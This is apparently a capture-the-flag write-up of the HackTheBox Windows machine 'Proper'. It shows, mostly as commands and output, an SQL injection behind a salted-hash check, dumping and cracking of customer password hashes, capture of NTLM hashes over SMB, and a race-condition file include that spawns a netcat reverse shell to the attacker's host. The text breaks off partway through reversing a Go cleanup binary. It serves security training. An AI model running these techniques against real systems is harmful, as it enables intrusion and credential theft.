Proper was a fascinating Windows box with three fascinating stages. First, there’s a SQL injection, but the url parameters are hashed with a key, so I need to leak that key, and then make sure to update the hash for each request. I get to play with the eval option for SQLmap, as well as show some manual scripting to do it. Next, there’s a time of check / time of use vulnerability in a file include that allows me to do a remote file include over SMB, swapping out the contents between the first and second read to get code execution. For root, there’s a Go binary that does cleanup of files in the users Downloads folder that I can abuse to get arbitrary write as SYSTEM. I’ll abuse this with the windows error reporting system to get execution. In Beyond Root, I’ll look at a couple more ways to get root using this binary.

Box Info

Name Proper Proper
Play on HackTheBox
Release Date 13 Mar 2021
Retire Date 21 Aug 2021
OS Windows Windows
Base Points Hard [40]
Rated Difficulty Rated difficulty for Proper
Radar Graph Radar chart for Proper
First Blood User 02:30:43InfoSecJack
First Blood Root 05:21:18snowscan
Creators xct



nmap found only HTTP (80) listening on TCP:

oxdf@parrot$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.91 ( ) at 2021-03-16 12:45 EDT
Nmap scan report for
Host is up (0.031s latency).
Not shown: 65534 filtered ports
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 13.85 seconds
oxdf@parrot$ nmap -p 80 -sCV -oA scans/nmap-tcpscripts
Starting Nmap 7.91 ( ) at 2021-03-16 12:45 EDT
Nmap scan report for
Host is up (0.069s latency).

80/tcp open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: OS Tidy Inc.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 7.45 seconds

Based on the IIS version, the host is likely running Windows 10, Server 2016, or Server 2019.

Website - TCP 80


The site is a page for some kind of company that seems “cleaner” and “deduper” software.

Directory Brute Force

I’ll run gobuster against the site (including PHP extensions as I figured out it was a PHP site, see next section):

oxdf@parrot$ gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 40 -x php -o scans/gobuster-root-small-php
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        40
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
2021/03/16 12:46:22 Starting gobuster
/assets (Status: 301)
/licenses (Status: 301)
/functions.php (Status: 200)
/Assets (Status: 301)
/Functions.php (Status: 200)
/Licenses (Status: 301)
2021/03/16 12:48:21 Finished

functions.php returns an empty response. /licenses returns a login page to the “licensing portal”:


Basic guessing or sql injections didn’t find anything.

AJAX Query

The page is index.html, so that doesn’t betray the tech stack. However, looking at Burp for the history when the main page is loaded, there’s an AJAX request by Javascript to:


That shows that there are PHP pages on the site. It’s also a URL I’ll want to explore.

The response is the HTML for the various products part of the page:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.4.1
Date: Fri, 26 Feb 2021 17:36:00 GMT
Connection: close
Content-Length: 10968

<div class="row"><div class="col-md-4">
            <div class="hover-item">
            <img src="assets/img/shop/memdoubler-pro.png" class="img-responsive smoothie wow fadeIn" data-wow-delay="0.5s" alt="">
            <div class="overlay-item-caption smoothie wow fadeIn" data-wow-delay="0.5s">

This request is generated by this script in index.html:

    <script type="text/javascript">
        'use strict';
        jQuery('#headerwrap').backstretch([ "assets/img/bg/bg1.jpg", "assets/img/bg/bg3.jpg" ], {duration: 8000, fade: 500});
        $( "#product-content" ).load("/products-ajax.php?order=id+desc&h=a1b30d31d344a5a4e41e8496ccbdd26b",function() {});

The site loads the basic HTML, and then issues this second request to get the products and put them into the first page.

Access To /licenses

Find Hash Method

Leak Salt

The AJAX request has two GET parameters, order and h. order=id desc looks like part of an SQL query. The value given in h looks like an MD5 hash. I’ll kick this request over to Repeater in Burp to play with.

Changing desc to asc (change sort order from descending to ascending), the page returns 403:

HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.4.1
Date: Fri, 26 Feb 2021 17:58:07 GMT
Connection: close
Content-Length: 39

Forbidden - Tampering attempt detected.

Leaving order=id desc and making any changes to h also returns that same message.

My first thought was that md5("id desc") would match the h, but it doesn’t:

oxdf@parrot$ echo -n "id desc" | md5sum
aa5a97b10a6dd87160868d2316ab2425  -

Sending in /products-ajax.php?order=id+desc&h= with nothing following returns a 500 error:

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.4.1
Date: Fri, 26 Feb 2021 18:03:33 GMT
Connection: close
Content-Length: 31

Parameter missing or malformed.

Eventually I removed h entirely, sending /products-ajax.php?order=id+desc. This was another 500 error, but this time with crash info:

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.4.1
Date: Fri, 26 Feb 2021 18:04:39 GMT
Connection: close
Content-Length: 641

<!-- [8] Undefined index: h
On line 6 in file C:\inetpub\wwwroot\products-ajax.php
  1 |   // SECURE_PARAM_SALT needs to be defined prior including functions.php 
  2 |   define('SECURE_PARAM_SALT','hie0shah6ooNoim'); 
  3 |   include('functions.php'); 
  4 |   include('db-config.php'); 
  5 |   if ( !$_GET['order'] || !$_GET['h'] ) {                <<<<< Error encountered in this line.
  6 |     // Set the response code to 500 
  7 |     http_response_code(500); 
  8 |     // and die(). Someone fiddled with the parameters. 
  9 |     die('Parameter missing or malformed.'); 
 10 |   } 
 11 |  
// -->
Parameter missing or malformed.

The source shows with both 500s come from. When h is empty, the if on line 5 returns true and then the response code is set to 500 with that “missing or malformed” message. But when one of the parameters is missing entirely, PHP will crash on line 5, which is what makes this message.

Find Hash Algo

The source in the crash also shows the definition of a variable, SECURE_PARAM_SALT. In a case like this, a salt (probably more accurately a key) is used when hashing to prevent someone from guessing the algorithm and then being able to reproduce the hash.

Knowing the salt string, it’s likely combined with some part of the input before hashing The hash is likely associated with the order parameter. It could be just that parameter, or the entire url. I’ll start guessing at different combinations, and I found the right hash on my second guess:

oxdf@parrot$ echo -n "id deschie0shah6ooNoim" | md5sum
453d803378d6fb7eaf6a3cab618106d6  -
oxdf@parrot$ echo -n "hie0shah6ooNoimid desc" | md5sum
a1b30d31d344a5a4e41e8496ccbdd26b  -


If this theory is right, I should now be able to change order to id asc and calculate the right hash to make the query work. I’ll start with just a HEAD request (-I) so my terminal doesn’t flood with HTML. Without updating the hash, it returns 403 forbidden:

oxdf@parrot$ curl -I ''
HTTP/1.1 403 Forbidden
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.4.1
Date: Fri, 20 Aug 2021 11:27:54 GMT

Once I update the hash to the newly calculated value, it returns 200:

oxdf@parrot$ echo -n "hie0shah6ooNoimid asc" | md5sum
181345bd7fce37aad011ea65a41b60c8  -
oxdf@parrot$ curl -I ''
HTTP/1.1 200 OK
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.4.1
Date: Fri, 26 Feb 2021 18:12:47 GMT

It worked!

I wrote a short Bash script that let’s me play around with this url:


h=$(echo -n "hie0shah6ooNoim${order}" | md5sum | cut -d' ' -f1)

curl -s -I -G "" --data-urlencode "order=${order}" --data-urlencode "h=${h}" -x |
  grep "HTTP/1.1 200 OK" && exit   

curl -i -G "" --data-urlencode "order=${order}" --data-urlencode "h=${h}" -x

It takes order as an argument, calculates the h, and sends a HEAD request. If it’s an HTTP 200 it just prints that and exits (I don’t want to be flooded by all that HTML). Otherwise, it issues the prints the full response with headers so I can see errors. I can submit id acs without issue:

oxdf@parrot$ ./ "id asc"
HTTP/1.1 200 OK

If I add a single quote, it crashes:

oxdf@parrot$ ./ "id asc'"
HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.4.1
Date: Fri, 26 Feb 2021 18:38:50 GMT
Connection: close
Content-Length: 0

SQL Injection


Sending a ' broke the site. That’s a good indication there could be SQL injection. However, injection into the ORDER BY part of the query is limiting. This article from PortSwigger lays it out nicely. I can’t UNION inject, add WHERE, OR, and AND at this point. The best I can do is use a CASE statement to check something that will return true or false and then look at the resulting order. There’s surely a way to do it without needing to know a second column in the table, but knowing the data that comes back, with a few guesses, I was able to guess a second column, price.

I copied my Bash script a made a slight variation:


h=$(echo -n "hie0shah6ooNoim${order}" | md5sum | cut -d' ' -f1)

curl -s -i -G "" --data-urlencode "order=${order}" --data-urlencode "h=${h}" -x |
  grep 'href="#">

This will just show me the order of the products on the page. Now run the query twice, once with false and once with true:

oxdf@parrot$ ./ "(CASE WHEN (1=2) THEN id ELSE price END)"
              <h4><a href="#">Shredder Free</a></h4>
              <h4><a href="#">Deduper Free</a></h4>
              <h4><a href="#">Comparer Free</a></h4>
              <h4><a href="#">Cleaner Free</a></h4>
              <h4><a href="#">Memdoubler Pro</a></h4>
              <h4><a href="#">Comparer Pro</a></h4>
              <h4><a href="#">Cleaner Pro</a></h4>
              <h4><a href="#">Shredder Pro</a></h4>
              <h4><a href="#">Deduper Pro</a></h4>
oxdf@parrot$ ./ "(CASE WHEN (1=1) THEN id ELSE price END)"
              <h4><a href="#">Shredder Free</a></h4>
              <h4><a href="#">Shredder Pro</a></h4>
              <h4><a href="#">Deduper Free</a></h4>
              <h4><a href="#">Deduper Pro</a></h4>
              <h4><a href="#">Comparer Free</a></h4>
              <h4><a href="#">Comparer Pro</a></h4>
              <h4><a href="#">Cleaner Free</a></h4>
              <h4><a href="#">Cleaner Pro</a></h4>
              <h4><a href="#">Memdoubler Pro</a></h4>

The order changes. I’ll use the last one to check the result (| tail -1). I can replace 1=1 with a query to ask questions of the database. For example, to check if the first letter of the current database is ‘a’:

oxdf@parrot$ ./ "(CASE WHEN (SELECT SUBSTRING(database(),1,1))='a' THEN id ELSE price END)" | tail -1
              <h4><a href="#">Deduper Pro</a></h4>

“Deduper Pro” “means false. Trying more, it starts with c:

oxdf@parrot$ ./ "(CASE WHEN (SELECT SUBSTRING(database(),1,1))='b' THEN id ELSE price END)" | tail -1
              <h4><a href="#">Deduper Pro</a></h4>
oxdf@parrot$ ./ "(CASE WHEN (SELECT SUBSTRING(database(),1,1))='c' THEN id ELSE price END)" | tail -1
              <h4><a href="#">Memdoubler Pro</a></h4>

I can write a loop to check a given character, as this finds the second characters is l:

oxdf@parrot$ for c in {a..z}; do ./ "(CASE WHEN (SELECT SUBSTRING(database(),2,1))=\"${c}\" THEN id ELSE price END)" | tail -1 | grep -q "Memdoubler Pro" && echo "$c" && break; done

If I wanted to go much further like this, I’d script something. But I’ll use sqlmap.


In the default mode, sqlmap will fail here because any injection it tries will result in a 500 because of the hash. However, there’s a flag, --eval that works perfectly for this kind of thing. In fact, the example in the docs has this case:

In case that user wants to change (or add new) parameter values, most probably because of some known dependency, he can provide to sqlmap a custom python code with option --eval that will be evaluated just before each request.

For example:

$ python -u "\
20dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

Each request of such run will re-evaluate value of GET parameter hash to contain a fresh MD5 hash digest for current value of parameter id.

The only difference is that I need to add the salt, so --eval="from hashlib import md5; h = md5(f'hie0shah6ooNoim{order}'.encode()).hexdigest()":

oxdf@parrot$ sqlmap -u '' --eval="from hashlib import md5; h = md5(f'hie0shah6ooNoim{order}'.encode()).hexdigest()" --threads 10
[14:40:28] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:40:29] [INFO] GET parameter 'order' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --code=200)
[14:40:29] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'                                                     
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]                                
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]   
[14:41:07] [INFO] checking if the injection point on GET parameter 'order' is a false positive
GET parameter 'order' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 314 HTTP(s) requests:
Parameter: order (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: order=(SELECT (CASE WHEN (9062=9062) THEN 'id desc' ELSE (SELECT 4887 UNION SELECT 3878) END))&h=a1b30d31d344a5a4e41e8496ccbdd26b

    Type: time-based blind
    Title: MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)
    Payload: order=id desc PROCEDURE ANALYSE(EXTRACTVALUE(7325,CONCAT(0x5c,(BENCHMARK(5000000,MD5(0x4f447470))))),1)&h=a1b30d31d344a5a4e41e849
[14:41:39] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2016 or 10 or 2019
web application technology: Microsoft IIS 10.0, PHP 7.4.1
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

I’ll run a few more sqlmap commands to get a feel for the DB. Each one is slow because it’s having to brute force character by character.

List DBs:

oxdf@parrot$ sqlmap -u '' --eval="from hashlib import md5; h = md5(f'hie0shah6ooNoim{order}'.encode()).hexdigest()" --dbs
available databases [3]:
[*] cleaner
[*] information_schema
[*] test

Show tables in cleaner:

oxdf@parrot$ sqlmap -u '' --eval="from hashlib import md5; h = md5(f'hie0shah6ooNoim{order}'.encode()).hexdigest()" -D cleaner --tables
Database: cleaner
[3 tables]
| customers |
| licenses  |
| products  |

Dump customers, which has usernames and hashes (I’m adding in --threads this time, as it will take forever without it):

oxdf@parrot$ sqlmap -u '' --eval="from hashlib import md5; h = md5(f'hie0shah6ooNoim{order}'.encode()).hexdigest()" -D cleaner -T customers --dump --threads 10
Database: cleaner
Table: customers
[29 entries]
| id | login                        | password                         | customer_name        |
| 1  | vikki.solomon@throwaway.mail | 7c6a180b36896a0a8c02787eeafb0e4c | Vikki Solomon        |
| 2  | nstone@trashbin.mail         | 6cb75f652a9b52798eb6cf2201057c73 | Neave Stone          |
| 3  | bmceachern7@discovery.moc    | e10adc3949ba59abbe56e057f20f883e | Bertie McEachern     |
| 4  |      | 827ccb0eea8a706c4c34a16891f84e7b | Jordana Kleiser      |
| 5  | mchasemore9@sitemeter.moc    | 25f9e794323b453885f5181f1b624d0b | Mariellen Chasemore  |
| 6  | gdornina@marriott.moc        | 5f4dcc3b5aa765d61d8327deb882cf99 | Gwyneth Dornin       |
| 7  | itootellb@forbes.moc         | f25a2fc72690b780b2a14e140ef6a9e0 | Israel Tootell       |
| 8  |        | 8afa847f50a716e64932d995c8e7435a | Karon Mangham        |
| 9  | jblinded@bing.moc            | fcea920f7412b5da7be0cf42b8c93759 | Janifer Blinde       |
| 10 | llenchenkoe@macromedia.moc   | f806fc5a2a0d5ba2471600758452799c | Laurens Lenchenko    |
| 11 | aaustinf@booking.moc         | 25d55ad283aa400af464c76d713c07ad | Andreana Austin      |
| 12 | afeldmesserg@ameblo.pj       | e99a18c428cb38d5f260853678922e03 | Arnold Feldmesser    |
| 13 | ahuntarh@seattletimes.moc    | fc63f87c08d505264caba37514cd0cfd | Adella Huntar        |
| 14 | talelsandrovichi@tamu.ude    | aa47f8215c6f30a0dcdb2a36a9f4168e | Trudi Alelsandrovich |
| 15 | ishayj@dmoz.gro              | 67881381dbc68d4761230131ae0008f7 | Ivy Shay             |
| 16 | acallabyk@un.gro             | d0763edaa9d9bd2a9516280e9044d885 | Alys Callaby         |
| 17 |             | 061fba5bdfc076bb7362616668de87c8 | Dorena Aery          |
| 18 | aalekseicikm@skyrock.moc     | aae039d6aa239cfc121357a825210fa3 | Amble Alekseicik     |
| 19 | lginmann@lycos.moc           | c33367701511b4f6020ec61ded352059 | Lin Ginman           |
| 20 | lgiorioo@ow.lic              | 0acf4539a14b3aa27deeb4cbdf6e989f | Letty Giorio         |
| 21 | lbyshp@wired.moc             | adff44c5102fca279fce7559abf66fee | Lazarus Bysh         |
| 22 | bklewerq@yelp.moc            | d8578edf8458ce06fbc5bb76a58c5ca4 | Bud Klewer           |
| 23 |       | 96e79218965eb72c92a549dd5a330112 | Woodrow Strettell    |
| 24 | lodorans@kickstarter.moc     | edbd0effac3fcc98e725920a512881e0 | Lila O Doran         |
| 25 | bpfeffelt@artisteer.moc      | 670b14728ad9902aecba32e22fa4f6bd | Bibbie Pfeffel       |
| 26 |      | 2345f10bb948c5665ef91f6773b3e455 | Luce Grimsdell       |
| 27 |            | f78f2477e949bee2d12a2c540fb6084f | Lyle Pealing         |
| 28 | krussenw@mit.ude             | 0571749e2ac330a7455809c6b0e7af90 | Kimmy Russen         |
| 29 | meastmondx@businessweek.moc  | c378985d629e99a4e86213db0cd5e70d | Meg Eastmond         |

Crack Hashes

I’ll format those in a file like:


Now I can run them through hashcat, and they call break very quickly:

oxdf@parrot$ hashcat -m 0 db.hashes /usr/share/wordlists/rockyou.txt --user

All of these creds seem to work to login at the /licenses page.

Shell as web

Enumeration /licenses

When logged in, it goes to licenses.php, which simply prints out a list of licenses associated with the given account:


The only interaction with the page is logging out, and the three links that change the theme between Darkly, Flatly, and Solar.

Clicking on one, in addition to changing the color, adds two parameters to the GET request:

The salt is the same, so I don’t have to re-figure that out:

oxdf@parrot$ echo -n "hie0shah6ooNoimflatly" | md5sum
a48e169864f4b46a09d36664ec645f75  -

If I change the theme to 0xdf (and generate the matching hash), the CSS doesn’t load:


But not only are the colors gone, but there’s an error dump in the HTML source:


PHP Analysis

PHP has two ways to load a text file into a page, as PHP to be executed, or as text. include will include the contents and then execute them as PHP code. This is useful to include something like a database connection. It’s also risky because if a user can get content into that include, it will execute (a file include vulnerability). file_get_contents returns the contents of a file to PHP as a string. Just loading user text this way isn’t inherently dangerous (though the following PHP could do dangerous things with it).

The secure_include function in the dump is interesting. This function calls file_get_contents first to load the contents of the file, and checks for any instances of <?. If none are found, it’s then the same file is opened with include. The developer of the page is checking to make sure no PHP code is passed into the include. A safer way to do this would be to just echo the results of the file_get_contents onto the page.

There are two challenges. First, I need a way to get a file I control passed into the machine. I haven’t found any upload services on this site yet. Second, I need a way to make it so that I can get PHP code past that check for <?.

For the first, I’ll look at remote file include possibilities, first over HTTP, and then over SMB. For the latter, because the site is fetching the data twice, there is a potential time of check / time of use vulnerability. If I can change the contents of the file between when it’s read with file_get_contents and when it’s opened with include, I can run PHP code.

I’ll also note that passing theme 0xdf leads to loading the file 0xdf/



I’ll check out remote file includes by passing in a url. I’ll make my own theme and hash:

oxdf@parrot$ echo -n "hie0shah6ooNoimhttp://" | md5sum

On visiting, I get a hit on my Python webserver:

oxdf@parrot$ sudo python3 -m http.server 80
Serving HTTP on port 80 ( ...
[ - - [26/Feb/2021 16:05:40] code 404, message File not found - - [26/Feb/2021 16:05:40] "GET /0xdfly/ HTTP/1.0" 404 -

It’s appending in the folder matching the theme. I’ll create the folder and the file:

oxdf@parrot$ mkdir 0xdfly
oxdf@parrot$ echo "test" > 0xdfly/

On refreshing, there’s a request at my webserver and it returns the file, but there’s a new error in the page:

<!-- [2] include(): http:// wrapper is disabled in the server configuration by allow_url_include=0
On line 36 in file C:\inetpub\wwwroot\functions.php
 31 | // Following function securely includes a file. Whenever we 
 32 | // will encounter a PHP tag we will just bail out here. 
 33 | function secure_include($file) { 
 34 |   if (strpos(file_get_contents($file),'<?') === false) { 
 35 |     include($file);                <<<<< Error encountered in this line.
 36 |   } else { 
 37 |     http_response_code(403); 
 38 |     die('Forbidden - Tampering attempt detected.'); 
 39 |   } 
 40 | } 
 41 |  
// -->

The file_get_contents worked, but HTTP includes are disabled.


Because this is a Windows box, I’ll try SMB, by generating the hash:

oxdf@parrot$ echo -n "hie0shah6ooNoim\\\\\\share" | md5sum
adbde0da04f46e54a67eb5c14bd6a1ae  -

And then visiting\\\share&h=adbde0da04f46e54a67eb5c14bd6a1ae with a Python SMB server started (sudo share .). I see it trying to connect, but failing, and then the page reports it failed to get the file. But I do capture a bunch of hashes for the user, web:

[*] web::PROPER:aaaaaaaaaaaaaaaa:9b66db9833525f0016ac228a9a9acb97:010100000000000000115ce0860cd70194b40cb0153cb53400000000010010004600750061004d005500620042007300030010004600750061004d005500620042007300020010006300700049006300610074007100680004001000630070004900630061007400710068000700080000115ce0860cd701060004000200000008003000300000000000000000000000002000008bcec302c2054104d6792676517675e353a03a9488d052b679a796aef6639e0c0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0037000000000000000000

These are Net-NTLMv2 hashes, and it cracks with hashcat and rockyou.txt:

oxdf@parrot$ hashcat -m 5600 web.ntlmv2 /usr/share/wordlists/rockyou.txt 

Now I have the password, “charlotte123!”, and I can use that to start an SMB server that Proper will connect to:

oxdf@parrot$ sudo share . -user web -password 'charlotte123!' -smb2support
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

On refreshing Firefox, it gets the my and includes it without error:


Bypass Check

Now that I can get a file included, I need to bypass the check for <? in the contents. What’s useful to me here is that it is read twice. In playing around trying to get the include to work, I noticed there was a slight lag between the two sets of activity on the SMB server.

inotify-tools is an awesome set of tools to monitoring for file access (apt install inotify-tools). I used incron (similar package) to automate some stuff on ScriptKiddie. inotify-wait will hang until a file is accessed, and then return. So my first attempt to trick this page was to echo an ok string into, then inotify-wait for the file to be read the first time, and then replace the contents with a PHP payload. On refreshing the page, it runs:

oxdf@parrot$ echo "dummy header" >; inotifywait -e CLOSE; echo '<?php echo "it worked!";?>' >
Setting up watches.
Watches established. CLOSE_NOWRITE,CLOSE 

It didn’t work.


At first I thought it was too slow. But on thinking about it, the error means that either the hash was mismatched (which isn’t the case), or that the file_get_contents read is seeing the <?. Does that mean that as soon as the SMB server starts to open it, I’m replacing the contents with the PHP. What if I try a sleep?

oxdf@parrot$ echo "dummy header" >; inotifywait -e CLOSE; sleep 1; echo '<?php echo "it worked!";?>' >
Setting up watches.
Watches established. CLOSE_NOWRITE,CLOSE 

It worked!



I’ll turn this into a shell by replacing the PHP code with something to run nc.exe from my host:

oxdf@parrot$ echo "dummy header" >; inotifywait -e CLOSE; sleep 1; echo '<?php system("\\\\\\share\\nc64.exe -e cmd 443");?>' >
Setting up watches.
Watches established. CLOSE_NOWRITE,CLOSE 

On refresh, it takes a minute, but I get a shell at nc:

oxdf@parrot$ sudo nc -lvnp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 55748
Microsoft Windows [Version 10.0.17763.1728]
(c) 2018 Microsoft Corporation. All rights reserved.


I can now access user.txt:

PS C:\users\web\desktop> cat user.txt

Shell as root


I uploaded WinPEAS over SMB to the box and ran it. In the services section, one jumped out as unusual to me:

  ========================================(Services Information)========================================

  [+] Interesting Services -non Microsoft-
    Cleanup(Iain Patterson - Cleanup)["C:\Program Files\nssm.exe"] - Autoload
    Cleanup service

Most of the others were .sys files, or executables that I could find online. It’s also unusual to see an executable sitting in C:\program files (usually it’s only folders). nssm.exe looks like the Non-Sucking Service Manager. I don’t think this is interesting in it’s own right, but it does imply I should be looking at services

There’s also an unfamiliar folder in Program Files, Cleanup:

PS C:\program files>ls

    Directory: C:\program files

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----
d-----       11/15/2020   4:05 AM                Cleanup
d-----       11/14/2020   3:00 AM                Common Files
d-----       11/14/2020   3:25 AM                internet explorer
d-----         1/2/2021   9:13 AM                MariaDB 10.5
d-----       11/14/2020   9:21 AM                Microsoft
d-----       11/14/2020   9:28 AM                PHP
d-----       11/14/2020   9:28 AM                Reference Assemblies
d-----       11/14/2020   9:27 AM                runphp
d-----        1/29/2021  12:41 PM                VMware
d-r---        1/17/2021   7:20 AM                Windows Defender
d-----        1/17/2021   7:20 AM                Windows Defender Advanced Threat Protection
d-----        9/15/2018  12:19 AM                Windows Mail
d-----        1/17/2021   7:20 AM                Windows Media Player
d-----        9/15/2018  12:19 AM                Windows Multimedia Platform
d-----        9/15/2018  12:28 AM                windows nt
d-----        1/17/2021   7:20 AM                Windows Photo Viewer
d-----        9/15/2018  12:19 AM                Windows Portable Devices
d-----        9/15/2018  12:19 AM                Windows Security
d-----        9/15/2018  12:19 AM                WindowsPowerShell
-a----        4/26/2017   7:14 AM         368640 nssm.exe  

In that directory are three files:

PS C:\program files\cleanup> ls

    Directory: C:\program files\cleanup

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       11/15/2020   4:03 AM        2999808 client.exe
-a----       11/15/2020   9:22 AM            174
-a----       11/15/2020   5:20 AM        3041792 server.exe

PS C:\program files\cleanup> cat
# Cleanup

We find the garbage on your system and delete it!

## Changelog

- 31.10.2020 - Alpha Release

## Todo

- Create an awesome GUI
- Check additional paths

I don’t have the ability to list services:

PS C:\program files\cleanup> net start
System error 5 has occurred.

Access is denied.

PS C:\program files\cleanup>  get-service
get-service : Cannot open Service Control Manager on computer '.'. This operation might require other privileges.
At line:1 char:1
+ get-service
+ ~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [Get-Service], InvalidOperationException
    + FullyQualifiedErrorId : System.InvalidOperationException,Microsoft.PowerShell.Commands.GetServiceCommand

But I can go into the registry and look for service keys that include cleanup:

PS C:\program files\cleanup> cd hklm:\system\CurrentControlSet\services\
PS HKLM:\system\CurrentControlSet\services\> ls | findstr /i cleanup
cleanup                        Type                             : 16
                               DisplayName                      : Cleanup
                               Description                      : Cleanup service

There’s a service named Cleanup. And it runs the server.exe:

PS HKLM:\system\CurrentControlSet\services\> ls cleanup

    Hive: HKEY_LOCAL_MACHINE\system\CurrentControlSet\services\cleanup

Name                           Property
----                           --------
Parameters                     Application   : C:\Program Files\Cleanup\server.exe
                               AppParameters :
                               AppDirectory  : C:\Program Files\Cleanup  

I’ll grab copies of client.exe and server.exe to test locally.

Binary Analysis

Running It

It’s always important to run binaries from CTFs in a VM environment. This binary will delete files in the current user’s Downloads folder. Make sure you have a snapshot before starting.

Trying to start the client without the server returns:

PS > .\client.exe
Cleaning C:\Users\0xdf\Downloads
Error connecting to named pipe cleanupPipe - open \\.\pipe\cleanupPipe: The system cannot find the file specified.

The two binaries are using named pipes to communicate (I’ll explore this more in Beyond Root). Also, it mentions that it’s trying to clean my Downloads folder. Double-clicking on the server pops an empty console windows. Now when I run the client, it looks like the connection eventually times out:

PS > .\client.exe
Cleaning C:\Users\0xdf\Downloads
Error connecting to named pipe cleanupPipe - i/o timeout

Still, there’s output in the server.exe window:

CLEAN C:\Users\0xdf\Downloads\7z1900-x64.msi
CLEAN C:\Users\0xdf\Downloads\AutoIt_Debugger_Setup_v0.47.0.exe
CLEAN C:\Users\0xdf\Downloads\Bochs-win64-2.6.11.exe
CLEAN C:\Users\0xdf\Downloads\
CLEAN C:\Users\0xdf\Downloads\ExplorerSuite.exe
CLEAN C:\Users\0xdf\Downloads\PE.Explorer_setup.exe
CLEAN C:\Users\0xdf\Downloads\Sc445.exe
CLEAN C:\Users\0xdf\Downloads\SciTE4AutoIt3.exe
CLEAN C:\Users\0xdf\Downloads\autoit-v3-setup.exe
CLEAN C:\Users\0xdf\Downloads\desktop.ini
CLEAN C:\Users\0xdf\Downloads\

There’s also now files in C:\programdata\cleanup:

C:\ProgramData\Cleanup> ls

Those all decode to the path to the file that was removed:

$ echo "QzpcVXNlcnNcMHhkZlxEb3dubG9hZHNcN3oxOTAwLXg2NC5tc2k=" | base64 -d

The files are just encrypted blobs of random data.

One interesting thing - all of those files were already in my Downloads folder. When I tried to create a new file in Downloads and run client.exe, it doesn’t get cleaned up.


The binary is written in Go, which makes it super difficult to reverse, for many reasons. One, it brings all it’s dependencies along, so they are in the binary and you’ll want to avoid reversing those. Additionally, there’s all kinds of weirdness with how things are handled. For example, strings are all lumped together into blobs, and not null terminated. Instead, a string object has two parts, a pointer to the string, and a int length.

I’ll use both Ghidra and Ida (free) to take a look at things. The binary isn’t stripped, so it’s possible to find all the functions that start with main, which is where Go groups the main code. For example, in client.exe, Ghidra shows:


In client.exe, I went looking for the Cleaning %s string. It directed me here (Ida):


It’s marked in red. What’s also interesting is the string Restoring %s, which indicates it has some capability to bring back the file it cleaned. That’s likely what I saw in ProgramData.

There’s also functions for serviceClean and serviceRestore.

Neither Ghidra nor Ida gave a great picture of how the binary worked, but I used x64dbg along with them to figure out what was going on. It helps to disable ASLR in your reversing VM to easily map between the two.


At the start of main.main, there’s some checking that turns out to be looking at passed in args. It sets two variables based on the results, which I’ve named cmd_str_len and cmd_str:


The globals I’ve named CLEAN and RESTORE are in the middle of the giant ASCII blobs I showed above, and look like this in Ghidra:


There’s no null to terminate the string, which is why the length is stored in a variable. Similarly, when it goes to look at the second argument passed in, ARGV+0x18 holds the length of that string, and ARGV+0x10 holds the pointer to the string itself. This is weird having never reverse Go binaries before.

Still, I can stumble through to realize that if there are 2 or more arguments, and the second arg has length 2 and a value 0x522d, or -R, it will set that cmd_str to RESTORE, and otherwise to CLEAN.

Some guessing around showed that it works if I pass in the original path to the file:

C:\Users\0xdf\Desktop>.\client.exe -R C:\Users\0xdf\Downloads\7z1900-x64.msi
Restoring C:\Users\0xdf\Downloads\7z1900-x64.msi

The file is back, and the corresponding base64-named file is no longer in \programdata\cleanup.

Cleanup Criteria

